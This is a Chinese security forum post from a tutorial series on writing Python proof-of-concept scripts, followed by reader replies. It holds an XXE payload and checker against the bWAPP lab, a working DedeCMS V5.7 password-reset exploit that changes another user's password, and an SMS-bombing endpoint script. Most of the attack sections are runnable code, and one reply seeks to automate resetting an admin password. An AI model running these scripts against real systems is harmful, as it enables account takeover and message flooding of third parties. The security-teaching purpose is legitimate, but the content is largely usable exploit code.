用户
搜索
  • TA的每日心情
    奋斗
    4 天前
  • 签到天数: 234 天

    连续签到: 1 天

    [LV.7]常住居民III

    管理员

    Supreme玩家

    Rank: 9Rank: 9Rank: 9

    78

    主题

    2288

    帖子

    1万

    魔法币
    收听
    0
    粉丝
    135
    注册时间
    2016-2-5

    楚核心白帽i春秋签约作者白帽传说春秋游侠秦燕魏赵齐突出贡献

    发表于 2018-2-2 21:39:09 5040037
    本文原创作者:阿甫哥哥,本文属i春秋原创奖励计划,未经许可禁止转载
    0.jpg
    系列文章专辑:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=96

    目录:
    2x18 XXE漏洞类POC编写

    2x19 任意修改用户密码漏洞类POC编写

    2x20 短信轰炸漏洞POC编写

    2x21 本章小结

    2x18 XXE漏洞类POC编写
    XXE Injection(XML External Entity Injection),是一种容易被忽视,但危害巨大的漏洞。它是一种隐蔽并且经常被忽视的漏洞,可以利用XML外部实体加载注入,执行不可预控的代码。

    论坛也有文章
    XXE 学习之路-STEP BY STEP

    当然也有视频教程了..
    漏洞研究之XXE
    XML外部实体注入漏洞(XXE)

    这里我举的栗子是BWAPP的XXE漏洞...参考于小叶的文章,他用Python写了EXP...我拿来写POC...其实差不多...
    【BWAPP】优雅的XXE&&py exp
    BWAPP下载地址:http://sourceforge.net/projects/bwapp/files/bee-box/
    我简单复现一下
    55.jpg
    Any bug,,burp抓包...
    56.jpg
    然后修改POST内容,在本地搭建一个站点,写入txt内容,用来验证漏洞是否存在

    [XML] 纯文本查看 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE copyright[
    <!ENTITY test SYSTEM "http://192.168.3.32/robots.txt">
    ]>
    <reset>             
      <login>&test;</login>            
      <secret>login</secret>
    </reset>

    57.jpg
    然后根据这个POC就来了
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    import sys
      
    def POC(target):
        detection_url = raw_input('Please input your local detection URL:')         
        headers = {'Content-type': 'text/xml'}
        cookies = {'PHPSESSID':'45b7ecf12e15f4bb268b4d14e8ffe844', 'security_level':'0'}  #cookie值为登录的cookie值
        XML = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "'+ detection_url +'">]><reset><login>&test;</login><secret>login</secret></reset>'
        attack_req = requests.post(target,headers=headers,cookies=cookies,data=XML)
        if 'Exp1ore is a Supreme BOY!!!' in attack_req.text:
                print "There are vulnerabilities in this server"
        else:
                print "There are no vulnerabilities in this server"
    def main():
        arg = sys.argv
        target = ''
        if len(arg) == 2:
            target = arg[1]
            POC(target)
        else:
            print "Usage: python %s domain" % (arg[0])
    if __name__ == '__main__':
            main()

    58.gif
    2x19 任意修改用户密码漏洞类POC编写
    顾名思义,就是存在代码逻辑上的错误,导致可以任意修改用户密码
    本文拿DEDECMS的最新版的漏洞举栗子...

    源码信息:DedeCMS-V5.7-UTF8-SP2-20180109
    问题文件: \DedeCMS-V5.7-UTF8-SP2\uploads\member\resetpassword.php

    漏洞分析请戳:
    代码审计| DEDECMS -V5.7-UTF8-SP2-20180109漏洞集合
    复现...
    准备两个账号....
    test test
    1heihei 1heihei
    本文演示用1heihei重置test....
    通过遍历得知..test的id是2
    http://127.0.0.1/dedecms2/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2
    58.jpg
    去掉多余字符,然后得到重置密码链接.....
    http://localhost/dedecms2/member/resetpassword.php?dopost=getpasswd&id=2&key=8QSG0d0m
    59.jpg
    然后把密码改成ichunqiu了...
    出现页面,提示更改密码成功,请牢记新密码.....然而我没截上图
    POC来了
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import re
    import requests
    import sys
    
    def GetCookie():
        cookie = raw_input(" Please paste the cookie:").split(';')
        cookies = {}
        for i in range(0,len(cookie)):
            name,value=cookie.strip().split('=',1)
            cookies[name] = value
        return cookies
    def POC(target):
        attack_id = raw_input('Please enter the ID that you want to attack:')
        cookie = GetCookie()
        rs = requests.get(target + '/member/index.php', cookies=cookie)
        if '/member/myfriend.php' in rs.text and '/member/pm.php' in rs.text:
            print 'Login success!!'
        else:
            exit('Login failure!!')
        payload_url = "{target}/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id={attack_id}".format(target=target,attack_id=attack_id)
        rs = requests.get(payload_url, cookies=cookie)
        if '对不起,请10分钟后再重新申请'.decode('utf-8') in rs.text:
            exit("I'm sorry, please reapply in 10 minutes.")
        searchObj = re.search(r'<a href=\'(.*?)\'>', rs.text, re.M | re.I)
        attack_payload_url = searchObj.group(1)
        attack_url = attack_payload_url.replace('amp;', '')
        userid_re = re.findall(r'id=(.*)&key',attack_url, re.M | re.I)
        key_re = re.findall(r'key=(.*)',attack_url, re.M | re.I)
        for i in userid_re:
            userid = i
        for x in key_re:
            key = x
        data = {'dopost': 'getpasswd', 'setp': 2, 'id': attack_id, 'userid': userid, 'key': key, 'pwd': 'supreme', 'pwdok': 'supreme'}
        attack_req = requests.post(target + "/member/resetpassword.php", data=data, cookies=cookie)
        if '更改密码成功,请牢记新密码'.decode('utf-8') in attack_req.text:
            print 'There are vulnerabilities in this server'
        else:
            print 'There are no vulnerabilities in this server'
    def main():
        arg = sys.argv
        target = ''
        if len(arg) == 2:
            target = arg[1]
            POC(target)
        else:
            print "Usage: python %s target" % (arg[0]) 
    if __name__ == '__main__':
        main()
    60.gif .
    2x20 短信轰炸漏洞POC编写
    其实这个漏洞...不想写的...不过为了凑字数吧...
    复现...
    发送验证码处...抓包
    61.jpg
    然后看response,出现success.....

    所以可以根据这个写POC咯
    关键信息也做打码处理!!!
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    import json
    def POC(target):
        headers = {
                                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'
                                    }
        attack_req = requests.post(target + '/c***********en',data=json.dumps({"mobile":"1*********8","type":"signup"}),headers=headers)
        if attack_req.status_code == 200 and 'success' in attack_req.text:
            print 'There are vulnerabilities in this server'
        else:
            print 'There are no vulnerabilities in this server'
            
    if __name__ == '__main__':
        POC('http://www.********.com/')

    62.jpg
    2x21 本章小结
    文章已经讲完了如何编写POC.....你如果还不太会,没关系,多加练习,肯定会成功的.....
    编写POC其实不难,掌握了他的复现原理,过程......然后找一些特征....根据这些就可以写出POC了...
    加油..接下来,可能会编写一些工具吧.....


    免责声明:
    • 请使用者注意使用环境并遵守中华人民共和国相关的法律法规!
    • 由于使用者使用本软件造成的任何后果本人不承担任何法律责任!
    • 此软件只供安全研究及安全测试使用,本软件的使用者对任何站点进行的任意操作均与本人无关,造成的任何后果均由软件使用者承担。






    评分

    参与人数 2魔法币 +25 收起 理由
    李思特 + 5 表哥6666
    huangpan110 + 20 支持表哥

    查看全部评分

    本帖被以下淘专辑推荐:

    一位特爱收藏Supreme的大哥哥....
    其实我想知道在修改dedecms的后台用户(admin)密码时,如何直接用python自动注册一个用户a,同时获取其cookie,即无需输入cookie即可修改管理员密码,尝试几次都没成功,burp可以抓到cookie,但是直接requests就得不到cookie
    使用道具 举报 回复
    发表于 2018-2-4 13:25:35
    shadow15 发表于 2018-2-4 00:24
    其实我想知道在修改dedecms的后台用户(admin)密码时,如何直接用python自动注册一个用户a,同时获取其coo ...

    话说,我没听懂你的意思,加我qq吧,我私聊告诉你
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    发表于 2018-2-2 21:42:19
    说明一下,我的GetCookie是如图写的,这个代码编辑器有问题,将就看吧....我尽力了...

    回复即送魔法币!!!
    专辑求关注,求评分
    Python大法从入门到编写POC
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    一直在跟着  大佬做的这个专辑真心棒,一步步从py基础到写poc 写工具 节奏真的棒
    支持表哥.....
    使用道具 举报 回复

    感谢大佬的课程,建议加入自动化破解验证码
    使用道具 举报 回复
    感谢大佬的课程,建议加入自动化破解验证码
    使用道具 举报 回复
    非常非常实用的教程,脱离工具小子的第一步!
    使用道具 举报 回复

    回帖奖励 +6

    来学习一下,每一篇文章都给我打开新的大门
    使用道具 举报 回复
    发表于 2018-2-2 22:17:54

    回帖奖励 +6

    第一啦啦啦啦
    使用道具 举报 回复

    回帖奖励 +6

    使用道具 举报 回复

    回帖奖励 +6

    6666666
    啊啊啊
    使用道具 举报 回复

    回帖奖励 +6

    表哥贼六
    感谢缘分相遇i春秋
    使用道具 举报 回复
    发表于 2018-2-2 22:31:54

    回帖奖励 +6

    学习大佬知识
    使用道具 举报 回复

    回帖奖励 +6

    学python
    使用道具 举报 回复

    回帖奖励 +6

    大神又更新了,过来学习一下。
    使用道具 举报 回复

    回帖奖励 +6

    跟表哥学一下
    使用道具 举报 回复
    发表于 2018-2-2 22:39:53
    使用道具 举报 回复
    发表于 2018-2-2 22:54:48

    回帖奖励 +6

    魔法币魔法币魔法币

    评分

    参与人数 1积分 -10 魔法币 -30 收起 理由
    Exp1ore -10 -30 请不要刷屏,灌水!!!!

    查看全部评分

    使用道具 举报 回复

    回帖奖励 +6

    学习大佬知识
    使用道具 举报 回复
    发表于 2018-2-3 00:07:28
    感谢分享
    使用道具 举报 回复
    1234下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册